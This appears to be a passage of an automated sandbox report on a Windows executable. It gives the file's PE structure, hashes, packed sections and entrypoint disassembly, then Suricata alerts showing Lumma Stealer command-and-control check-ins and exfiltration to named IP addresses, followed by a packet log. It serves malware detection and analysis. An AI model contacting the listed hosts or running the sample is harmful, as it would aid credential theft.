..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.571557215513772
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	RDb082EApV.exe
File size:	2'984'960 bytes
MD5:	8c6bc86968ef348064806000613733ae
SHA1:	63292d9c60d2b1a149998984ea0d599409947139
SHA256:	1dc0e9e5b2b64994cae6b9e7ce5d1e5ec7a96123042f2bb729e025778d1c68b6
SHA512:	c5bd0bed052a4cefdd6cf83afd082bcaf49dd37f908d61c132a70d5534156b792d23e317d94eac820e8c77a5b183173422f93e80e0c33afff8e6b7fed50c54b8
SSDEEP:	49152:g3RIHwYgjFUfM8vauawalhlbnspoDk3UxygwrWb:g2HwYg5UfMIZdal77sGg0y
TLSH:	A6D539A2B509A1CBD88F2774D4AFCE825E1D07B94B2508C7AD2D64BA7E73CC115F6C24
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig.............................P0...........@...........................0.......-...@.................................Y@..m..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x705000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FCE946D850Ah
punpckhdq mm5, qword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00h], ah
add byte ptr [eax], al
inc esp
nop
bound ecx, dword ptr [edi]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
or dword ptr [edx], ecx
add byte ptr [eax], al
or cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	67336fd90ccad037af01fbd0cbc61f58	False	0.9995340584150327	data	7.975167309002604	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
tsajedaw	0x55000	0x2af000	0x2af000	d6c94737177f33306cf928743e489c5f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rwsufufw	0x304000	0x1000	0x400	1a84e8dd4f02a8d316da893b4304e39c	False	0.8046875	data	6.084201360834046	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x305000	0x3000	0x2200	5632b7c37f43e38bbeaa0d6cb752cfaf	False	0.06491268382352941	DOS executable (COM)	0.7752606208528551	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T09:12:41.413706+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	104.21.11.101	443	TCP
2024-12-27T09:12:42.179531+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	104.21.11.101	443	TCP
2024-12-27T09:12:42.179531+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	104.21.11.101	443	TCP
2024-12-27T09:12:43.403771+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	104.21.11.101	443	TCP
2024-12-27T09:12:44.180706+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	104.21.11.101	443	TCP
2024-12-27T09:12:44.180706+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	104.21.11.101	443	TCP
2024-12-27T09:12:45.797366+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	104.21.11.101	443	TCP
2024-12-27T09:12:48.187392+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	104.21.11.101	443	TCP
2024-12-27T09:12:50.592012+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	104.21.11.101	443	TCP
2024-12-27T09:12:53.555988+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	104.21.11.101	443	TCP
2024-12-27T09:12:54.366420+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49735	104.21.11.101	443	TCP
2024-12-27T09:12:56.754875+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	104.21.11.101	443	TCP
2024-12-27T09:13:02.156973+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49741	104.21.11.101	443	TCP
2024-12-27T09:13:02.928675+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49741	104.21.11.101	443	TCP
2024-12-27T09:13:04.449107+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49743	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 09:12:39.912604094 CET	49730	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:39.912679911 CET	443	49730	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:39.912878990 CET	49730	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:39.918872118 CET	49730	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:39.918899059 CET	443	49730	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:41.413561106 CET	443	49730	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:41.413706064 CET	49730	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:41.417645931 CET	49730	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:41.417660952 CET	443	49730	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:41.418132067 CET	443	49730	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:41.467261076 CET	49730	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:41.467299938 CET	49730	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:41.467444897 CET	443	49730	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:41.796818018 CET	49675	443	192.168.2.4	173.222.162.32
Dec 27, 2024 09:12:42.179538012 CET	443	49730	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:42.179627895 CET	443	49730	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:42.179678917 CET	49730	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:42.181751966 CET	49730	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:42.181771040 CET	443	49730	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:42.190712929 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:42.190757990 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:42.190830946 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:42.191104889 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:42.191117048 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:43.403690100 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:43.403770924 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:43.405347109 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:43.405364037 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:43.405631065 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:43.407037973 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:43.407069921 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:43.407113075 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:44.180706024 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:44.180757999 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:44.180783987 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:44.180829048 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:44.180855989 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:44.180880070 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:44.180898905 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:44.180942059 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:44.180958033 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:44.180958033 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:44.188683033 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:44.188747883 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:44.188767910 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:44.197035074 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:44.197094917 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:44.197109938 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:44.249958992 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:44.300529003 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:44.343693018 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:44.343744040 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:44.375972033 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:44.376009941 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:44.376043081 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:44.376082897 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:44.376106024 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:44.376140118 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:44.376171112 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:44.376380920 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:44.376398087 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:44.376420021 CET	49731	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:44.376425982 CET	443	49731	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:44.534193039 CET	49732	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:44.534251928 CET	443	49732	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:44.534389019 CET	49732	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:44.534763098 CET	49732	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:44.534775019 CET	443	49732	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:45.797121048 CET	443	49732	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:45.797365904 CET	49732	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:45.807172060 CET	49732	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:45.807192087 CET	443	49732	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:45.807507992 CET	443	49732	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:45.808815956 CET	49732	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:45.808815956 CET	49732	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:45.808851957 CET	443	49732	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:45.808926105 CET	49732	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:45.808934927 CET	443	49732	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:46.888603926 CET	443	49732	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:46.888725996 CET	443	49732	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:46.888787985 CET	49732	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:46.888936043 CET	49732	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:46.888964891 CET	443	49732	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:46.974528074 CET	49733	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:46.974591017 CET	443	49733	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:46.974695921 CET	49733	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:46.975060940 CET	49733	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:46.975071907 CET	443	49733	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:48.187232971 CET	443	49733	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:48.187391996 CET	49733	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:48.189402103 CET	49733	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:48.189423084 CET	443	49733	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:48.189734936 CET	443	49733	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:48.190944910 CET	49733	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:48.191085100 CET	49733	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:48.191108942 CET	443	49733	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:49.113657951 CET	443	49733	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:49.113765955 CET	443	49733	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:49.113867998 CET	49733	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:49.114082098 CET	49733	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:49.114095926 CET	443	49733	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:49.329694033 CET	49734	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:49.329745054 CET	443	49734	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:49.329925060 CET	49734	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:49.330245972 CET	49734	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:49.330257893 CET	443	49734	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:50.591908932 CET	443	49734	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:50.592011929 CET	49734	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:50.593703985 CET	49734	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:50.593729973 CET	443	49734	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:50.593967915 CET	443	49734	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:50.595707893 CET	49734	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:50.595853090 CET	49734	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:50.595882893 CET	443	49734	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:50.595932961 CET	49734	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:50.595947027 CET	443	49734	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:51.532927990 CET	443	49734	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:51.533054113 CET	443	49734	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:51.533107996 CET	49734	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:51.537977934 CET	49734	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:51.538008928 CET	443	49734	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:52.293956041 CET	49735	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:52.294011116 CET	443	49735	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:52.294086933 CET	49735	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:52.294454098 CET	49735	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:52.294464111 CET	443	49735	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:53.555886030 CET	443	49735	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:53.555988073 CET	49735	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:53.558518887 CET	49735	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:53.558526993 CET	443	49735	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:53.558775902 CET	443	49735	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:53.560560942 CET	49735	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:53.560781956 CET	49735	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:53.560787916 CET	443	49735	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:54.366380930 CET	443	49735	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:54.366489887 CET	443	49735	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:54.366600990 CET	49735	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:54.372601032 CET	49735	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:54.372617960 CET	443	49735	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:55.496767998 CET	49737	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:55.496838093 CET	443	49737	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:55.496920109 CET	49737	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:55.497318029 CET	49737	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:55.497333050 CET	443	49737	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:56.754787922 CET	443	49737	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:56.754874945 CET	49737	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:56.756519079 CET	49737	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:56.756551027 CET	443	49737	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:56.756848097 CET	443	49737	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:56.758306980 CET	49737	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:56.759100914 CET	49737	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:56.759140968 CET	443	49737	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:56.759282112 CET	49737	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:56.759308100 CET	443	49737	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:56.760114908 CET	49737	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:56.760159969 CET	443	49737	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:56.760319948 CET	49737	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:56.760346889 CET	443	49737	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:56.760529995 CET	49737	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:56.760557890 CET	443	49737	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:56.760766983 CET	49737	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:56.760787964 CET	443	49737	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:56.760796070 CET	49737	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:56.760807037 CET	443	49737	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:56.760952950 CET	49737	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:56.760973930 CET	443	49737	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:56.760998011 CET	49737	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:56.761266947 CET	49737	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:56.761291027 CET	49737	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:56.803339005 CET	443	49737	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:56.803558111 CET	49737	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:56.803591967 CET	443	49737	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:56.803623915 CET	49737	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:56.803639889 CET	443	49737	104.21.11.101	192.168.2.4
Dec 27, 2024 09:12:56.803668022 CET	49737	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:12:56.803678036 CET	443	49737	104.21.11.101	192.168.2.4
Dec 27, 2024 09:13:00.934426069 CET	443	49737	104.21.11.101	192.168.2.4
Dec 27, 2024 09:13:00.934526920 CET	443	49737	104.21.11.101	192.168.2.4
Dec 27, 2024 09:13:00.934587955 CET	49737	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:13:00.934845924 CET	49737	443	192.168.2.4	104.21.11.101
Dec 27, 2024 09:13:00.934869051 CET	443	49737	104.21.11.101	192.168.2.4
Dec 27, 2024 09:13:00.945456982 CET	49741	443	192.168.2.4	104.21.11.101
